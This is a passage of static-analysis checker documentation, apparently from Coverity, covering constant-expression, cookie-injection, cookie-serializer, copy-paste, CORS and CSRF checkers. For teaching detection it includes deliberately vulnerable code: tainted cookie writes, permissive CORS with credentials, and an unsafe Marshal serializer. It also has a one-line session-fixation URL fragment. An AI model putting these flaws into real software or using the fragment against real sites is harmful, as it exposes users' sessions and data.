if ((someBits & 0x10) == 1) // Defect: always false
```

4.101.3.6. JavaScript

In the following example, a `typeof` operation is compared against something other than a string when the developer probably intended to test the quoted string, `"undefined"`, instead.

```
if (typeof s === undefined) { // Defect: always false
```

4.101.3.7. PHP

```
function test($val) {  
    if (! $val === null) { // A CONSTANT_EXPRESSION_RESULT here ('!==' is intended)  
        return;  
    }  
    ...  
}
```

4.101.3.8. Python

```
def test(val):  
    if ~(val & 1): # A CONSTANT_EXPRESSION_RESULT here ('~' probably should be 'not')  
        return None  
    ...
```

4.101.3.9. Ruby

```
def test(val)  
    z() if ~(s == 0) # A CONSTANT_EXPRESSION_RESULT here. '!(s == 0)' is intended.  
end
```

4.101.3.10. Swift

```
func test(_ x : Int) {  
    if (x | 1 == 0) { // CONSTANT_EXPRESSION_RESULT  
        doSomething();  
    }  
}
```

In this example, bitwise-or with `1` will result in the lowest bit being set to `1`, which ensures the result is not `0`. Perhaps bitwise-and was intended rather than bitwise-or.

4.101.4. Options

This section describes one or more `CONSTANT_EXPRESSION_RESULT` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `CONSTANT_EXPRESSION_RESULT:report_bit_and_with_zero:<boolean>` - If this option is set to `true`, the checker treats bitwise AND (`&`) expressions with `0` as defects. Defaults to `CONSTANT_EXPRESSION_RESULT:report_bit_and_with_zero:false` (for C, C++, Go, JavaScript, TypeScript, Objective-C, and Objective-C++). Defaults to `CONSTANT_EXPRESSION_RESULT:report_bit_and_with_zero:true` (for C#, Java, PHP, Python, Swift, and Scala).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

C/C++ Example:

```
#if CONFIG_A
#define FLAG 1
#elif CONFIG_B
#define FLAG 0
#endif
...
if (flags & FLAG) // Defect: only if
                  // report_bit_and_with_zero option:true set
```

By default, these cases are not reported as defects because some programs have run-time flags that are only used in certain configurations, and configurations that do not use those flags define them to be `0`, essentially causing any code that depends on them to be compiled out. In the previous example, for configuration `CONFIG_B`, `flags & FLAG` is always `false` (`0`), but this is intentional.

Bitwise AND of expressions with `0`, if they occur entirely within macro expansions, are not reported as defects. To include these, use the `report_bit_and_with_zero_in_macros:true` option (see next).

C# Example:

```
public enum MyFlags
{
    FLAG0 = 0,
    FLAG1 = 1,
    // ...
    FLAG8 = 128
}

public void BitAndWithZero(MyFlags flags, int i)
```

```
{
  if ((flags & MyFlags.FLAG0) != 0) {
    // ...
  }
  int j = 127 & 128 & i;
  int k = 2 & i & 1;
}
```

The result of `flags & MyFlags.FLAG0` will always be 0 since `MyFlags.FLAG0` is 0. Similarly, `127 (0x7f) & 128 (0x80)` share no bits in common, so when ANDed together (by using the `&` operator) produce 0; `i` is irrelevant, which was probably not intended.

Java Example:

```
static final int FLAG = 0;

...
if (flags & FLAG) // Defect: only if
                 // report_bit_and_with_zero option:true set
```

- `CONSTANT_EXPRESSION_RESULT:report_bit_and_with_zero_in_macros:<boolean>`
- When this option is set to `true`, the checker treats bitwise AND expressions with 0 as defects, even if they occur entirely within macro expansions. Defaults to `CONSTANT_EXPRESSION_RESULT:report_bit_and_with_zero_in_macros:false` (C and C++ only)..

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `CONSTANT_EXPRESSION_RESULT:report_constant_logical_operands:<boolean>`
- When this option is set to `true`, the checker reports constructs where, in a logical AND (`&&`) or logical OR (`||`) context, one of the operands is a constant expression. Defaults to `CONSTANT_EXPRESSION_RESULT:report_constant_logical_operands:false` for C, C++, C#, Go, Java, Objective-C, Objective-C++, PHP, Swift, and Scala. Does not apply to other languages.

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

C/C++ Example:

```
#define CONFIG_FLAG0 1
#define CONFIG_FLAG1 2
...
#define CONFIG_FLAG7 8

/* The current configuration: */
#define CONFIG_FLAGS (CONFIG_FLAG0 | CONFIG_FLAG1 | CONFIG_FLAG5)

#define THING2_ENABLED (CONFIG_FLAGS & CONFIG_FLAG2)

...
```

```
if (THING2_ENABLED && do_something_for_thing2())
    ...
```

Since `THING2_ENABLED` evaluates to 0, the following expression is always false (0), but this issue is not reported by default because it is intentional that, in some configurations, `THING2_ENABLED` is 0.

```
THING2_ENABLED && do_something_for_thing2()
```

Even when this option is enabled, these defects are not normally reported if they occur entirely within macro expansions. To report these defects in macro expansions, use the `report_constant_logical_operands_in_macros` option.

C# Example:

Since `SOME_FLAGS & MyFlags.FLAG3` evaluates to 0 in the following example, `(SOME_FLAGS & MyFlags.FLAG3) != 0 && otherCondition` will evaluate to `false`. If this sort of construct is intentional, you might want to disable this option.

```
public const MyFlags SOME_FLAGS =
    MyFlags.FLAG1 | MyFlags.FLAG2 | MyFlags.FLAG4;

public void ResultIndependentOfOperands(bool otherCondition)
{
    if ((SOME_FLAGS & MyFlags.FLAG3) != 0 && otherCondition) {
        // ...
    }
}
```

Java Example:

Since `SOME_FLAGS & FLAG2` evaluates to 0 in the following example, `(SOME_FLAGS & FLAG2) != 0` will always evaluate to false, and the entire expression `(SOME_FLAGS & FLAG2) != 0 && doSomething2()` will evaluate to `false`. If this sort of construct is used intentionally, you might want to disable this option.

```
static final int FLAG0 = 1;
static final int FLAG1 = 2;
...
static final int FLAG7 = 128;
...
static final int SOME_FLAGS = FLAG0 | FLAG1 | FLAG5;
...
if ((SOME_FLAGS & FLAG2) != 0 && doSomething2())
    ...
```

- `CONSTANT_EXPRESSION_RESULT:report_constant_logical_operands_in_macros:<boolean>`
- When this option is set to `true`, the checker reports the same kind of problems found by the `report_constant_logical_operands` option, even if they occur entirely within macro expansions. Defaults to

`CONSTANT_EXPRESSION_RESULT:report_constant_logical_operands_in_macros:false` (C and C++ only). Does not apply to other languages.

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `CONSTANT_EXPRESSION_RESULT:report_unnecessary_op_assign:<boolean>`
- When this option is set to `true`, the checker reports `&=` or `|=` operations that assign a constant value and thus can be replaced with a simple assignment. Defaults to `CONSTANT_EXPRESSION_RESULT:report_unnecessary_op_assign:false` (all languages except for Ruby).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`.

C/C++ Example:

```
struct s {
    unsigned int oneBitField : 1; /* a one-bit field */
};

struct s *p;
...
p->oneBitField |= 1;
```

C# Example:

```
public const ushort MASK = 0xffff;
public void UnnecessaryOpAssign(ushort us)
{
    us |= MASK;
}
```

The result of `|=` simply assigns `0xffff` to `us`.

Java Example:

```
static final short MASK = -1;
public void UnnecessaryOpAssign(short s)
{
    s |= MASK;
}
```

4.101.5. Events

This section describes one or more events produced by the `CONSTANT_EXPRESSION_RESULT` checker.

- `bit_and_with_zero` - Bitwise AND of expression with zero. Appears when the `report_bit_and_with_zero` option is set.

- `pointless_expression` - The same non-constant expression occurs on both sides of an `&&` or `||` operator. Such an expression evaluates to the same thing as either of its identical operands. Often, one of these operands was meant to be different from the other.
- `result_independent_of_operands` - The expression has a constant value, regardless of the value of the operands.

For a subset of such events, the checker identifies likely programming errors that triggered the event:

- `extra_high_bits` - The right-hand side of an `&=` or `|=` expression is of a wider type than the left-hand side and has high-order bits set that will not affect the left-hand side.

Example:

```
short_variable |= 0x10000; /* No effect on 'short_variable' */
```

- `logical_vs_bitwise` - A logical operator, such as negation (`!`), appears to have been substituted for a bitwise operator, such as complement (`~`), or vice versa. This is a specific case of `result_independent_of_operands` where the likely root cause can be deduced with certainty.

Example:

```
#define FLAG1 1
#define FLAG2 2
#define FLAG3 4
#define FLAGS (FLAG1 | FLAG2 | FLAG3)

/* Defect: assigns 0 rather than 0xffffffff8 */
int supposedToBeBitwiseComplementOfFLAGS = !FLAGS;
```

- `missing_parentheses` - The operator precedence statement requires a set of parentheses.

Example:

```
!var & FLAGS /* Did you intend "!(var & FLAGS)" ? */
```

- `operator_confusion` - One operator was substituted for another.

Example:

```
(var << 8) & 0xff /* Did you intend '>>' instead of '<<'? */
```

- `same_on_both_sides` - The result of the expression is always the same because both operands of certain binary operations, such as comparison or subtraction, are the same expression. For example, the programmer might have intended to write the second example instead of the first one.

Unintended code:

```
if (something != something)
...
```

Intended code:

```
if (something != anotherThing)
    ...
```

These defects are an exception to the rule that all expressions reported by this checker have constants results. Although the result is usually not constant, it also not likely to be what was intended.

- `unnecessary_op_assign` - An operation (`&=` or `|=`) assigns a constant value. This event appears when the option `report_unnecessary_op_assign` is set.

4.102. COOKIE_INJECTION

Security Checker

4.102.1. Overview

Supported Languages: JavaScript, TypeScript

`COOKIE_INJECTION` reports a defect in code that uses a user-controllable string to construct a cookie. Such code might allow an attacker to set a session ID (session fixation), change the scope or expiration time of a cookie, or otherwise affect the application's behavior by setting new cookies.

The current design of cookies has no way to identify how a cookie was set. Therefore, an attacker who is able to inject cookies will be able to manipulate subsequent transactions that use the cookie.

Disabled by default: `COOKIE_INJECTION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Web application security checker enablement: To enable `COOKIE_INJECTION` along with other Web application checkers, use the `--webapp-security` option.

This is a tainted data checker. For more information, see Section 6.8, "Tainted Data Overview".

4.102.2. Defect Anatomy

A `COOKIE_INJECTION` defect shows a dataflow path by which untrusted (tainted) data makes its way into a cookie. The path starts at a source of untrusted data, such as a reading a property of the URL that an attacker might control (such as, `window.location.hash`) or data from a different frame. From there, the events in the defect show how this tainted data flows through the program, for example, from the argument of a function call to the parameter of the called function. The final part of the path shows the data flowing into the cookie.

4.102.3. Examples

This section provides one or more `COOKIE_INJECTION` examples.

```
//Extract a value from key=value type strings
```

```
function extract(str, key) {
  if (str == null) return '';
  var keyStart = str.indexOf(key + "=");
  if (-1 === keyStart) return '';
  var valStart = 1 + str.indexOf("=", keyStart);
  var valEnd = str.indexOf("&", keyStart);
  var val = -1 === valEnd ? str.substring(valStart) : str.substring(valStart,
valEnd);
  return val;
}

//Set the user's favorite background color
function doColor() {
  var h = location.hash.substring(1);
  if (h.indexOf("faveColor=") >= 0) {
    document.cookie = h; // Defect here
  }
  var faveColor = extract(document.cookie, "faveColor");
  document.bgColor = faveColor;

  console.log(document.cookie);
}
window.onhashchange = doColor;
```

Example exploit: Append the following fragment to the page URL to set the `sessionid` cookie:

```
#sessionid=42;faveColor=red
```

4.102.4. Options

This section describes one or more `COOKIE_INJECTION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `COOKIE_INJECTION:distrust_all:<boolean>` - Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `COOKIE_INJECTION:distrust_all:false`.

This checker option is automatically set to true if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to high.

- `COOKIE_INJECTION:trust_js_client_cookie:<boolean>` - When this option is set to false, the analysis does not trust data from cookies in client-side JavaScript code, for example from `document.cookie`. This option was formerly called `trust_client_cookie`. Defaults to `COOKIE_INJECTION:trust_js_client_cookie:true`.
- `COOKIE_INJECTION:trust_js_client_external:<boolean>` - When this option is set to false, the analysis does not trust data from the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Note: this option was formerly called `trust_external`. Defaults to `COOKIE_INJECTION:trust_js_client_external:false`.

- `COOKIE_INJECTION:trust_js_client_html_element:<boolean>` - When this option is set to false, the analysis does not trust data from user input on HTML elements such as `textarea` and `input` elements in client-side JavaScript code. Defaults to `COOKIE_INJECTION:trust_js_client_html_element:true`.
- `COOKIE_INJECTION:trust_js_client_http_header:<boolean>` - When this option is set to false, the analysis does not trust data from HTTP response headers on the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Defaults to `COOKIE_INJECTION:trust_js_client_http_header:true`.
- `COOKIE_INJECTION:trust_js_client_http_referer:<boolean>` - When this option is set to false, the analysis does not trust data from the 'referer' HTTP header (from `document.referrer`) in client-side JavaScript code. Defaults to `COOKIE_INJECTION:trust_js_client_http_referer:false`.
- `COOKIE_INJECTION:trust_js_client_other_origin:<boolean>` - When this option is set to false, the analysis does not trust data from content in another frame or from another origin, for instance from `window.name`, in client-side JavaScript code. Defaults to `COOKIE_INJECTION:trust_js_client_other_origin:false`.
- `COOKIE_INJECTION:trust_js_client_url_query_or_fragment:<boolean>` - When this option is set to false, the analysis does not trust data from the query or fragment part of the URL, for instance from `location.hash` or `location.query`, in client-side JavaScript code. Defaults to `COOKIE_INJECTION:trust_js_client_url_query_or_fragment:false`.
- `COOKIE_INJECTION:trust_mobile_other_app:<boolean>` - Setting this option to true causes the analysis to trust data that is received from any mobile application that does not require a permission to communicate with the current application component. Defaults to `COOKIE_INJECTION:trust_mobile_other_app:false`. Setting this checker option will override the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line options.
- `COOKIE_INJECTION:trust_mobile_other_privileged_app:<boolean>` - Setting this option to false causes the analysis to treat data as tainted when the data is received from any mobile application that requires a permission to communicate with the current application component. Defaults to `COOKIE_INJECTION:trust_mobile_other_privileged_app:true`. Setting this checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line options.
- `COOKIE_INJECTION:trust_mobile_same_app:<boolean>` - Setting this option to false causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `COOKIE_INJECTION:trust_mobile_same_app:true`. Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line options.
- `COOKIE_INJECTION:trust_mobile_user_input:<boolean>` - Setting this option to true causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `COOKIE_INJECTION:trust_mobile_user_input:false`. Setting this checker option will override the global `--trust-mobile-user-input` and `--distrust-mobile-user-input` command line options.

4.103. COOKIE_SERIALIZER_CONFIG

Security Checker

4.103.1. Overview

Supported Languages: Ruby

`COOKIE_SERIALIZER_CONFIG` determines when a web application has been configured with an unsafe serializing mechanism for cookies.

When a web application is configured to use a serializer for cookie values, it will attempt to deserialize cookies received from the web client. If the serializing mechanism is unsafe, an attacker can send specially crafted payloads to execute arbitrary code on the web server.

Enabled by default: `COOKIE_SERIALIZER_CONFIG` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.103.2. Examples

This section provides one or more `COOKIE_SERIALIZER_CONFIG` examples.

In Ruby on Rails applications, Marshal is considered an unsafe serializer for cookies because it permits arbitrary code execution.

For configurations such as the one below, a `COOKIE_SERIALIZER_CONFIG` defect will be displayed.

```
Rails.application.config.action_dispatch.cookies_serializer = :marshal
```

4.104. COPY_PASTE_ERROR

Quality Checker

4.104.1. Overview

Supported Languages: C, C++, C#, Go, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, Ruby, Scala, Swift, TypeScript, Visual Basic

`COPY_PASTE_ERROR` finds many instances in which a section of code was copied and pasted, and a systematic change was made to the copy. However, because that change was incomplete, it unintentionally left some portions of the copy unchanged.

Currently, the checker reports when the programmer intended to rename an identifier but forgot to change one instance. Note that the checker is not intended to report all instances of copy-pasting, only those that contain an error.

Enabled by default: `COPY_PASTE_ERROR` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.104.2. Defect Anatomy

A `COPY_PASTE_ERROR` defect shows two or more pieces of code having the same structure. It includes an "original copy" and zero or more examples where the original copy has been copy-pasted and updated. The main event shows a piece of code with the same structure as the "original copy" but where not every occurrence of an identifier in the original copy has been updated.

4.104.3. Examples

This section provides one or more `COPY_PASTE_ERROR` examples.

4.104.3.1. C/C++

The following example shows a copy-paste defect where the second instance of `a` should be replaced with `b`.

```
class CopyPasteError {
    int square(int x) {
        return x*x;
    }
    int example(int a, int b, int x, int y) {
        int result = 0;
        if (a > 0) {
            result = square(a) + square(x);
        }
        if (b > 0) {
            // "square(a)" should read "square(b)"
            result = square(a) + square(y);
        }
        return result;
    }
};
```

4.104.3.2. C# and Java

```
class TestCopyPasteError {
    bool foo(int k) { return true; }
    bool bar(int k) { return true; }

    void stuff() { }

    static readonly int key1 = 3, key2 = 5;

    void bar() {
        if (foo(key1) && bar(key1)) { stuff(); }
        // A COPY_PASTE_ERROR defect occurs here.
        if (foo(key2) && bar(key1)) { stuff(); }
    }
}
```

}

4.104.3.3. Go

In the following example, the statement `y=x+z` results in a `COPY_PASTE_ERROR` defect.

```
func test_assign(a, b bool, x, y, z int) {
    if (a && b) {
        x = x + z
    }
    if (a && b) {
        y = x + z;
    }
}
```

4.104.3.4. Visual Basic

The following example shows a copy-paste defect in Visual Basic code.

```
Class TestCopyPasteError
    Private Function Foo(k As Integer) As Boolean
        Return True
    End Function

    Private Function Bar(k As Integer) As Boolean
        Return True
    End Function

    Private Sub Stuff()
    End Sub

    Shared ReadOnly key1 As Integer = 3, key2 As Integer = 5

    Private Sub Bar()
        ' The original code is here
        If foo(key1) AndAlso bar(key1) Then
            stuff()
        End If

        ' A COPY_PASTE_ERROR defect occurs here: 'key1' in the right operand should be
        changed to 'key2'
        If foo(key2) AndAlso bar(key1) Then
            stuff()
        End If
    End Sub
End Class
```

4.104.3.5. JavaScript

```
function copyPasteError(arr1, arr2) {
    var ret = 10;
    if(Array.isArray(arr1) && arr1.length > 0 && typeof arr1[0] === "number") {
```

```
    ret += arr1[0];
  }

  if(Array.isArray(arr2) && arr2.length > 0 && typeof arr1[0] === "number") {
    // Defect due to arr1[0]
    ret += arr2[0];
  }
}
```

4.104.3.6. PHP

```
function baz1($a, $b) {
  if ($a && $b) {
    $x = $x + $z;
  }
  if ($a && $b) {
    $y = $x + $z; // A COPY_PASTE_ERROR here
  }
}
```

4.104.3.7. Python

```
def baz1(a, b):
  if (a and b):
    x = x + z
  if (a and b):
    y = x + z # A COPY_PASTE_ERROR here
```

4.104.3.8. Ruby

```
def copyPasteError(user, topic)
  topic_id = topic.is_a?(Topic) ? topic.id : 0
  user_id = user.is_a?(User) ? topic.id : 0 # A COPY_PASTE_ERROR here
  # "topic.id" should read "user.id"
end
```

4.104.3.9. Scala

```
class TestCopyPasteError {
  def foo(p : Int) : Boolean = { return true }
  def bar(p : Int) : Boolean = { return true }
  def stuff() = {}

  def example(key1 : Int, key2 : Int) {
    if (foo(key1) && bar(key1)) {
      stuff()
    }
    if (foo(key2) && bar(key1)) { // COPY_PASTE_ERROR defect
      stuff()
    }
  }
}
```

```
}
```

4.104.3.10. Swift

```
func foo(_ k: Int) -> Bool { return true; }
func bar(_ k: Int) -> Bool { return true; }

func stuff() { }

func test(_ key1: Int, _ key2: Int) {
    if (foo(key1) && bar(key1)) { stuff(); }
    if (foo(key2) && bar(key1)) { stuff(); } // COPY_PASTE_ERROR
}
```

4.104.4. Events

This section describes one or more events produced by the `COPY_PASTE_ERROR` checker.

- `original` - Original instance of code which was copied.
- `copy_paste_error` - Copy of code which contains a defect.

4.105. COPY_WITHOUT_ASSIGN

Quality, Rule Checker

4.105.1. Overview

Supported Languages: C++

`COPY_WITHOUT_ASSIGN` reports many cases where a class has at least one user-written copy constructor but lack a user-written assignment operator. In order to be considered as an assignment operator for the purposes of this rule an assignment operator must be usable to assign the entire object. Private copy constructors are assumed not to be meant for use and do not imply the need for an assignment operator, although if the copy constructor is private it would be best to also have a private assignment operator.

This rule does not require that the class own any resources, so it may report classes that have no actual need for an assignment operator. It is also possible that objects of a given class are never assigned, in which case even if the class does own resources no actual bugs may result from not having an assignment operator.

Disabled by default: `COPY_WITHOUT_ASSIGN` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

4.105.2. Examples

This section provides one or more `COPY_WITHOUT_ASSIGN` examples.

A simple string wrapper class:

```
class MyString {
    char *p;
public:
    MyString(const char *s) : p(strdup(s)) {}
    ~MyString() {free(p);}
    // copy constructor
    MyString(const MyString &init) : p(strdup(init.p)) {}
    // no assignment operator
    const char *str() const {return p;}
    operator const char *() const {return str();}
};
```

Assigning a MyString object will eventually result in a use-after-free error due to multiple objects inadvertently sharing the same string buffer.

4.105.3. Events

This section describes one or more events produced by the `COPY_WITHOUT_ASSIGN` checker.

- `copy_without_assign`: A class has a user-written copy constructor but no user-written assignment operator.

4.106. CORS_MISCONFIGURATION

4.106.1. Overview

Supported Languages: Java, JavaScript, TypeScript

The `CORS_MISCONFIGURATION` checker finds insecure configurations of the Cross Origin Resource Sharing (CORS) policy, which uses additional HTTP headers to allow an application running at one origin to access selected resources from a different origin. The misconfiguration of this policy might lead to malicious applications (running at an external origin) accessing and modifying the resources of the application without authorization, to man-in-the-middle attacks, and to leaking sensitive information. The checker reports different types of misconfigurations based on the language of the application and the frameworks or libraries used.

4.106.1.1. Java

The Java version of this checker, which is enabled for Webapp Security, reports the following issues:

- `cors_with_credentials_http_origin`

Unencrypted origin trusted for credentialed requests: when the `Access-Control-Allow-Origin` header includes an HTTP origin and the `Access-Control-Allow-Credentials` header is set to `true`.

This issue is enabled for Webapp Security.

- `cors_with_credentials_null_origin`

Responses for credentialed CORS requests shared with null origin: when the `Access-Control-Allow-Origin` header is set to `null` and the `Access-Control-Allow-Credentials` header is set to `true`.

This issue is enabled for Webapp Security.

4.106.1.2. JavaScript

The JavaScript version of this checker, which is enabled for Webapp Security, reports the following issues:

- `cors_configured_globally`

CORS policies are being applied globally.

- `cors_with_credentials_all_origin`

Credentials sent to all origins when the CORS policy is set to reflect any origin in the `Access-Control-Allow-Origin` header, and the `Access-Control-Allow-Credentials` header is set to `true`.

- `cors_with_credentials_http_origin`

Unencrypted origin trusted for credentialed requests when the `Access-Control-Allow-Origin` header includes an HTTP origin, and the `Access-Control-Allow-Credentials` header is set to `true`.

- `cors_with_credentials_null_origin`

Responses for credentialed CORS requests shared with null origin, when the `Access-Control-Allow-Origin` header is set to `null`, and the `Access-Control-Allow-Credentials` header is set to `true`.

- `cors_with_credentials_subdomain_origin`

Credentials sent to all subdomain origins, when any subdomain origin is reflected, and the `Access-Control-Allow-Credentials` header is set to `true`.

4.106.2. Examples

This section provides several `CORS_MISCONFIGURATION` examples.

4.106.2.1. Java

In the following example, the `CORS_MISCONFIGURATION` defect is displayed with the `cors_with_credentials_null_origin` issue, where the `addHeader()` function sets the `Access-Control-Allow-Origin` header to `null`, since the credentials are also enabled on this response.

```
import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
...

    public void doFilter(ServletRequest servletRequest, ServletResponse
servletResponse, FilterChain chain)
        throws ServletException {

        HttpServletRequest request = (HttpServletRequest) servletRequest;

        // Authorize null domains to consume the content, with credentials required
        ((HttpServletResponse) servletResponse).addHeader("Access-Control-Allow-
Origin", "null");
        ((HttpServletResponse) servletResponse).addHeader("Access-Control-Allow-
Credentials", "true");

        // pass the request along the filter chain
        chain.doFilter(request, servletResponse);
    }
}
```

In the following example, the `CORS_MISCONFIGURATION` defect is displayed with the `cors_with_credentials_http_origin` issue, where the `builder.header()` function sets the `Access-Control-Allow-Origin` header to an HTTP origin, not an HTTPS origin.

```
import javax.ws.rs.core.Response;
import javax.ws.rs.core.Response.ResponseBuilder;
...

    public Response getUserById(Long id) {
        ResponseBuilder builder = Response.status(Response.Status.BAD_REQUEST);
        ...
        builder.header("Access-Control-Allow-Origin", "http://example.com");
        builder.header("Access-Control-Allow-Credentials", "true");
        builder.header("Access-Control-Allow-Methods", "GET, POST, PUT, OPTIONS");
        builder.header("Access-Control-Allow-Headers", "x-requested-with,Content-Type");

        return builder.build();
    }
}
```

4.106.2.2. JavaScript

In the following example, a `CORS_MISCONFIGURATION` defect is displayed for setting the `origin` property to `true` in the `corsOptions` initialization object for `cors` middleware passed in the `get()` method, because the CORS policy is set to allow credentials and it reflects any origin in the `Access-Control-Allow-Origin` header:

```
var express = require('express');
var cors = require('cors');
var app = express();

var corsOptions = {
  methods: [],
  allowedHeaders: [],
  credentials: true,
  origin: true
};
app.get('/', cors(corsOptions), function(req, res){});
```

4.107. CORS_MISCONFIGURATION_AUDIT

4.107.1. Overview

Supported Languages: Java, JavaScript, TypeScript

The `CORS_MISCONFIGURATION_AUDIT` checker finds insecure configurations of the Cross Origin Resource Sharing (CORS) policy, which uses additional HTTP headers to allow an application running at one origin to access selected resources from a different origin. The misconfiguration of this policy might lead to malicious applications (running at an external origin) accessing and modifying the resources of the application without authorization, to man-in-the-middle attacks, and to leaking sensitive information. The checker reports different types of problematic issues in the CORS configuration that need to be audited (compared to `CORS_MISCONFIGURATION`) based on the language of the application and the frameworks or libraries used.

4.107.1.1. Java

The Java version of this checker, which is enabled in Audit Mode, reports the following issues:

- `cors_expose_sensitive_header`

Exposing sensitive headers: when the `Access-Control-Expose-Headers` header includes sensitive headers.

- `cors_methods_allowed`

List of allowed methods not restricted: when the `Access-Control-Allow-Methods` header is set to `*`.

- `cors_without_credentials_permissive_origin`

CORS requests allowed from all origins for unauthenticated requests: when the `Access-Control-Allow-Origin` header is set to `*`.

4.107.1.2. JavaScript

The JavaScript version of this checker, which is enabled in Audit Mode, reports the following issues:

- `cors_expose_sensitive_header`

Sensitive headers are exposed when the `Access-Control-Expose-Headers` header includes sensitive headers.

- `cors_headers_allowed`

List of allowed methods is not restricted when the `Access-Control-Allow-Headers` header is set to `*`.

- `cors_methods_allowed`

List of allowed methods is not restricted when the `Access-Control-Allow-Methods` header is set to `*`.

- `cors_origin_string`

The trusted origin is set to a single string variable, and thus is disclosed to any malicious request.

- `cors_preflight_age_too_long`

The preflight response caching time is set to a value greater than 1800 seconds.

- `cors_without_credentials_permissive_origin`

CORS requests are allowed from all origins for unauthenticated requests when the `Access-Control-Allow-Origin` header

- is set to wildcard: `*`.
- is a loose regular expression.
- is configured to reflect any origin.
- is undefined (as the default value is wildcard: `*`).

4.107.2. Examples

This section provides one or more `CORS_MISCONFIGURATION_AUDIT` examples.

4.107.2.1. Java

In the following example, the `CORS_MISCONFIGURATION_AUDIT` defect is displayed with the `cors_without_credentials_permissive_origin` issue and the `cors_expose_sensitive_header` issue, where the `mvc:mapping` element is configured with the `exposed-headers` attribute set to `Authorization` and `allowed-origins` attribute set to `*`. In this case the application allows requests from any origin and exposes the `Authorization` header to any origin, which might lead to leaking sensitive information.

```
<mvc:cors>
```

```
<mvc:mapping path="/api/**"
  allowed-origins="*"
  allowed-methods="GET, PUT"
  exposed-headers="Authorization"
  allow-credentials="true"
  max-age="123" />
</mvc:cors>
```

In the following example, the `CORS_MISCONFIGURATION_AUDIT` defect is displayed with the `cors_methods_allowed` issue, where the `allowMethods()` function sets the `Access-Control-Allow-Methods` header to `*`, configuring cross-origin access on all HTTP methods.

```
import org.springframework.web.servlet.config.annotation.CorsRegistry;
...
public void addCorsMappings(CorsRegistry registry) {
    if (corsRegistryEnabled) {
        registry.addMapping("/**")
            .exposedHeaders("Content-Range")
            .allowedMethods("*")
            .allowedOrigins("https://example.com");
    }
}
```

4.107.2.2. JavaScript

In the following example, a `CORS_MISCONFIGURATION_AUDIT` defect is displayed for setting the `origin` property of the `cors` middleware options to a wildcard, when configuring CORS for a Fastify application.

```
var fastify = require('fastify')();
var cors = require('cors');

fastify.delete('/delete', cors({methods: [], allowedHeaders: [], origin: ['*']}),
  function(req, res){
    ...
  });
```

4.108. CSRF

Security Checker

4.108.1. Overview

Supported Languages: C#, Java, JavaScript, Python, Ruby, TypeScript, Visual Basic

CSRF finds cross-site request forgery (CSRF) vulnerabilities by identifying controller entry points that modify the server state, and it reports a defect when the entry point is not secured by a recognized CSRF protection scheme.

CSRF is an attack that exploits a web client's authenticated session to perform unwanted actions on a remote server. Typically, a user will unknowingly load a malicious web page that initiates requests

with side effects. Because user cookies accompany requests to the site, active session identifiers also accompany the malicious request. This is the case even if the request originates from content in another site.

On the server, a successful CSRF attack is exceedingly difficult to detect and distinguish from a legitimate action performed by the user. Both transactions originate from the user's browser, and both transactions include proper session identifiers. Recovery from a CSRF attack is equally difficult.

The suggested strategy for preventing CSRF attacks is the use of the synchronizer token pattern. A synchronizer token is a pseudo-random (or otherwise unpredictable) value that is generated by the server for each user session. For any form submission or action that affects the server state of the user, the token is included as a hidden field and passed as an HTTP request parameter. The server then checks that each one of these requests has a valid and active token. Because the tokens live inside the local page content, they are not accessible to malicious scripts that are running on other sites.

Implementing this CSRF prevention strategy requires several processes:

- Generating cryptographically secure tokens and caching them for the lifetime of the user sessions.
- Modifying all forms and JavaScript callbacks to include the token in their requests.
- Checking that all requests that modify the server state include a synchronizer token that is valid for the associated user. The CSRF checker focuses on this process.

The CSRF checker recognizes several ways of rejecting requests with missing or invalid synchronizer tokens:

- Validator method calls - If a validator function call is used to check the synchronizer token, the checker will report unprotected controller request handler methods where this validation should be performed.

The checker will attempt to automatically identify validator methods. You can explicitly identify or tune the validator methods; see "Customizing the checker" and the `validator` checker option.

- Java servlet filters - If a servlet filter is used to check the synchronizer token, the checker can identify specific access paths and HTTP request method handlers that should be protected but are not. The checker reports a defect if a URI access path of a controller method falls outside of the URL mapping of the filter. A defect is also reported if the method services HTTP request method verbs that are not protected by the filter. This URI and request method-specific analysis is supported for the following technologies:

- Java servlets
- Spring MVC 3.0

The checker also includes built-in support for several filters, including Spring Security CSRF protection (introduced in version 3.2) and the OWASP CSRFGuard library.

- ASP.NET `Site.Master` pages - In an ASP.NET Web Form, the checker recognizes the use of a `Site.Master` page with a synchronizer token check in the `master_Page_PreLoad` event handler.

- ASP.NET MVC `ValidateAntiForgeryToken` filter attributes - In an ASP.NET MVC application, the checker recognizes the use of the `System.Web.Mvc.ValidateAntiForgeryTokenAttribute` class through the `[ValidateAntiForgeryToken]` filter attribute.
- ASP.NET MVC custom `FilterAttribute` classes - The checker recognizes the use of custom filter classes to protect request handlers from cross-site request forgery.
- Express middleware modules - In a Node.js web application using Express, the checker recognizes the use of CSRF protection middleware (`csrf`).
